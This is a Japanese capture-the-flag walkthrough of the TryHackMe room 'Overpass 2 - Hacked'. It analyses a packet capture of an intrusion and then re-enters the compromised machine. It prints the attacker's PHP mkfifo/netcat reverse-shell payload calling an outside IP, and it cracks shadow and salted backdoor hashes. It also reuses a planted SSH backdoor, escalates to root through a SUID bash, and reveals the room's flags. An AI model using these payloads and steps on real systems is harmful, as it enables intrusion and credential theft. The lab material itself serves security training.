【TryHackMe】Overpass 2 - Hacked：Walkthrough

# 概要

TryHackMe「Overpass 2 - Hacked」のWalkthroughです。

https://tryhackme.com/r/room/overpass2hacked

# Task1

## **Q1**.*What was the URL of the page they used to upload a reverse shell?*

アップロード機能があるページを探します。
HTTPのリクエストメソッドをPOSTに絞ることで発見できました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f6c4eb30-958c-d32b-caa8-2ed7baf09a28.png)

**A**.**/development/**

## **Q2**.*What payload did the attacker use to gain access?*

**Hint**.*Include the PHP tags. Whole file content.*

POSTリクエストのHTTP Streamを見ると送信したペイロードを見られます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/383b8eab-fa90-2625-ca3c-88d1fa1957ee.png)

**A**.`<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")?>`

## **Q3**.*What password did the attacker use to privesc?*

**Hint**.*A netcat reverse shell transmits everything in plaintext!*

攻撃者はペイロードPHPファイルをアップロード後,`/development/uploads/payload.php`にアクセスしています。
ここでリバースシェルを張っています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/4e903f23-1607-0cef-5370-85220175a6e2.png)

なのでその後のTCPパケットを追うことでNetcatでの通信を得られました。
`su james`コマンドの後にパスワードを入力していることが分かります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/05a3a05e-0369-e34a-aee8-82e7215cc1f3.png)

**A**.**whenevernoteartinstant**

## **Q4**.*How did the attacker establish persistence?*

コマンドを追っていくとSSHのバックドアツールをGitHubからダウンロードしています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/637f1255-e3ab-e551-48e2-0a5fa0f7e2dc.png)

https://github.com/NinjaJc01/ssh-backdoor

**A**.**https\://github.com/NinjaJc01/ssh-backdoor**

## **Q5**.*Using the fasttrack wordlist, how many of the system passwords were crackable?*

**Hint**.*Did the attacker dump the shadowfile? Try cracking them yourself.*

攻撃者は途中で`/etc/shadow`ファイルを閲覧しています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/cb895e04-dfe5-935e-133d-ae661a673b62.png)

ここからアカウントのパスワードハッシュ値をいくつか得られたので解析してみます。
4つのアカウントのパスワードを特定できました。

```
$ john shadow --wordlist=/usr/share/wordlists/fasttrack.txt

secret12         (bee)     
abcd123          (szymex)     
1qaz2wsx         (muirland)     
secuirty3        (paradox)
```

**A**.**4**

# Task2

## **Q1**.*What's the default hash for the backdoor?*

**Hint**.*Variable values!*

`main.go`からデフォルトのハッシュ値が分かりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/15193960-74c5-adc0-ea48-baed1b1ce51f.png)

**A**.**bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3**

## **Q2**.*What's the hardcoded salt for the backdoor?*

**Hint**.*If you read the code, you can fairly quickly see what salt is provided to the function call.*

`main.go`の`verifyPass`関数で第二引数でソルトを使用しています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a46ae247-cbfb-6b60-d2ab-dd8774670a2d.png)

同じく`main.go`で`verifyPass`関数を使用している個所を確認します。
引数で渡しているソルトがハードコードされています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/d0e8016d-8424-d801-5095-de8f59e6977c.png)

**A**.**1c362db832f3f864c8c2fe05f2002a05**

## **Q3**.*What was the hash that the attacker used? - go back to the PCAP for this!*

**Hint**.*Reading the code, the -a or --hash flag can be used to supply a hash at runtime.*

`main.go`を確認すると`-a`オプションでバックドアのハッシュ値を渡すようです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/68421fa9-7c9d-83f9-c74d-311e499431ad.png)

NetcatのTCPストリームから`backdoor`プログラムを実行している個所を確認できます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/efffde83-45da-09a6-04f0-6cde3d3ec9a3.png)

**A**.**6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed**

## **Q4**.*Crack the hash using rockyou and a cracking tool of your choice. What's the password?*

**Hint**.*It's salted, so make sure you use the correct mode. This also means crackstation etc won't work.*

`main.go`からハッシュアルゴリズムが`SHA512`だと分かりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/47cd91bc-37ca-8426-2f83-f6fb253fedbb.png)

ハッシュ値とソルトが分かっているので併せてテキストファイルを作成します。

```
6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed:1c362db832f3f864c8c2fe05f2002a05
```

Hashcatで解析すると平文を特定できました。

```
$ hashcat -a 0 -m 1710 james /usr/share/wordlists/rockyou.txt

6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed:1c362db832f3f864c8c2fe05f2002a05:november16
```

**A**.**november16**

# Task3

## **Q1**.*The attacker defaced the website. What message did they leave as a heading?*

`80`番ポートにアクセスするとWebサイトが改ざんされています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/add546cd-58fd-497e-82f3-f0cabee919bb.png)

**A**.**H4ck3d by CooctusClan**

## **Q3**.*What's the user flag?*

**Hint**.*The backdoor! It only checks the password.*

Netcatのコマンド履歴からSSHバックドアが`2222`ポートで動作していると分かります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/86380ada-69ae-1dbd-1dcb-7378ebeeeab9.png)

なので`2222`ポートに`james`アカウントでSSH接続を試みると成功しました。

```
$ ssh -p 2222 james@10.10.48.7 -oHostKeyAlgorithms=+ssh-rsa
james@overpass-production:/home/james/ssh-backdoor$
```

`/home/james/user.txt`からユーザーフラグを入手できました。

```/home/james/user.txt 
thm{d119b4fa8c497ddb0525f7ad200e6567}
```

**A**.**thm{d119b4fa8c497ddb0525f7ad200e6567}**

## **Q4**.*What's the root flag?*

**Hint**.*Did the attacker leave a quick way for them to get root again without a password?*

`/home/james`を見るとSUIDが付いたbashを見つけました。

```
$ ls -la

-rwsr-sr-x 1 root  root  1113504 Jul 22  2020 .suid_bash
```

このプログラムを利用してroot権限を取得できました。

```
$ ./.suid_bash -p
.suid_bash-4.4# whoami
root
```

`/root/root.txt`からルートフラグを入手できました。

```/root/root.txt
thm{d53b2684f169360bb9606c333873144d}
```

**A**.**thm{d53b2684f169360bb9606c333873144d}**